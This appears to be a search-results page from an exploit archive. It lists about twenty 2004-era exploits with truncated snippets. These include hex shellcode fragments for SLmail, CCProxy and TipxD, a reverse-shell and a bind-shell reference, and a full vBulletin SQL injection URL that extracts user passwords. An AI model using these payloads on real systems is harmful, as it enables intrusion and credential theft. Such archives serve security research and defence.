1704 matches found
SHOUTcast remote format string vulnerability
Product: SHOUTcast v1.9.4 and older? Vendor: http://www.shoutcast.com Vuln: Remote format string BugFinder: Tomasz Trojanowski onestep Author: Damian Put [email protected] www.CC-Team.org Date: Dec 23, 2004 1. BACKGROUND "SHOUTcast is Nullsoft's Free Winamp-based distributed streaming audio syste...
Seattle Lab Mail (SLmail) 5.5 - POP3 'PASS' Remote Buffer Overflow (2)
include include include include include include include include include include define retadd "\x9f\x45\x3a\x77" /win2k server sp4 0x773a459f/ define port 110 / revshell العراق القراصنة المجموعة/ char shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"...
PHP 4.3.9 + phpBB 2.x - Unserialize() Remote Information Leak
PHP 4.3.9 + phpBB 2.x - Unserialize Remote Information Leak // Compiled version: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/697.rar phpbbmemorydump.rar // Source serv.cpp is at the bottom of the page - str0ke // Notes from author: // compile with borland c+...
Linux Kernel 2.4.28/2.6.9 - vc_resize int Local Overflow
/ vcresize int overflow Copyright Georgi Guninski Cannot be used in vulnerability databases / include include include include include include include include include include int mainint ac, char av int fd; struct vtconsize vv; int cou=4242; fd=open"/dev/tty",ORDWR; if fd0 perror"open";return -42;...
Ricoh Aficio 450/455 PCL 5e Printer - ICMP Denial of Service
/ RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit. DATE: 12.15.2004 Vuln Advisory : Hongzhen Zhou Exploit Writer : x90cKyong [email protected]/jyj9782 Testing ----------------------------------------------- root@testbed:/raw gcc -o rpclicmpdos rpclicmpdos.c root@testbed:/raw...
wget <= 1.9 Directory Traversal Exploit
Exploit for multiple platform in category remote exploits ======================================= wget = 1.9 Directory Traversal Exploit ======================================= !/usr/bin/perl -W wgettrap.poc -- A POC for the wget1 directory traversal vulnerability Copyright 2004 Jan Min=C3=A1=C5=...
Bolthole Filter 2.6.1 - Address Parsing Buffer Overflow
source: https://www.securityfocus.com/bid/11977/info Bolthole Filter is prone to a buffer overflow vulnerability. This issue is exposed when the software parses email address data. If successfully exploited, this vulnerability could result in execution of arbitrary code in the context of the...
Ricoh Aficio 450/455 PCL 5e Printer ICMP Denial of Service Exploit
No description provided by source. / RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit. DATE: 12.15.2004 Vuln Advisory : Hongzhen Zhoufelixzhou at hotmail dot com Exploit Writer : x90cKyong [email protected]/jyj9782 Testing -----------------------------------------------...
TipxD 1.1.1 - Not SETUID Local Format String
/ tipxdexp.c TipxD Format String Vulnerability TipxD - SECU No System Group - http://www.nosystem.com.ar / include include define PATH "/bin/tipxd" define OBJDUMP "/usr/bin/objdump" define GREP "/usr/bin/grep" unsigned char shellcode= / aleph1 shellcode.45b /...
Active Server Corner ASP Calendar 1.0 - Administrative Access
Active Server Corner ASP Calendar 1.0 - Administrative Access source: https://www.securityfocus.com/bid/11931/info ASP Calendar is reported prone to an unauthorized administrative access vulnerability. An unauthorized remote attacker can access an administrative script and potentially gain...
F-Secure Policy Manager 5.11 - FSMSH.dll CGI Application Installation Full Path Disclosure
F-Secure Policy Manager 5.11 - FSMSH.dll CGI Application Installation Full Path Disclosure source: https://www.securityfocus.com/bid/11869/info F-Secure Policy Manager includes a CGI application named 'fsmsh.dll'. By supplying unexpected input as an argument to the 'fsmsh.dll' application the...
Jana Server <= 2.4.4 (http/pna) Denial of Service Exploit
Exploit for unknown platform in category dos / poc ========================================================= Jana Server include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include includ...
JSPWiki 2.1 - Cross-Site Scripting
JSPWiki 2.1 - Cross-Site Scripting...
Prozilla 1.3.6 - Remote Stack Overflow
Prozilla 1.3.6 - Remote Stack Overflow / 20/10/2004 This is a private work of Serkan Akpolat [email protected] for the unpublished prozilla-1.3.6 format string/buffer overflow vulnerability , though this version only exploits the stack overflow. Tested against current gentoo/slack/debian/sus...
MS Windows Compressed Zipped Folders Exploit (MS04-034)
Exploit for unknown platform in category remote exploits ======================================================= MS Windows Compressed Zipped Folders Exploit MS04-034 ======================================================= / Microsoft Windows Vulnerability in Compressed zipped Folders MS04-034...
SLMail 5.5 POP3 PASS Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================ SLMail 5.5 POP3 PASS Buffer Overflow Exploit ============================================ SLmail 5.5 POP3 PASS Buffer Overflow Discovered by : Muts Coded by : Muts WWW.WHITEHAT.CO.IL Plain vanill...
vBulletin - 'LAST.php' SQL Injection
Example: http://www.example.com/last.php?fsel=,user.password%20as%20title,user.%20%20%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201 milw0rm.com 2004-11-15...
[Full-Disclosure] [Advisory + Exploit] SlimFTPd <= 3.15
My nice words again are to kotik biatch. clean code on my website. / SlimFTPd = 3.15, Remote Buffer Overflow Exploit v0.1. Bind a shellcode to the port 101. Full disclosure and exploit by class101 at DFind.kd-team.com & n3ws at EFnet 10 november 2004 Thanx to HDMoore and Metasploit.com for their...
[Full-Disclosure] [Advisory + Exploit] MiniShare, Minimal HTTP Server for Windows, Remote Buffer Overflow Exploit
Hi List, I found yesterday this bug in the last version of MiniShare. This is a simple buffer overflow in the address link. Vendors are contacted at http://minishare.sourceforge.net 1 hour only before the public advisorie. Actually no fix are available. The exploit is available in attachment for...
CCProxy Log - Remote Stack Overflow
include include include pragma commentlib, "ws232" unsigned char EndChar= "x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A"; // HTTP/1.0 unsigned char shellcode = "xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05" "xe8xedxffxffxff" / 254 bytes shellcode, xor with 0xee / / offset 92=IP offset 99=PORT/...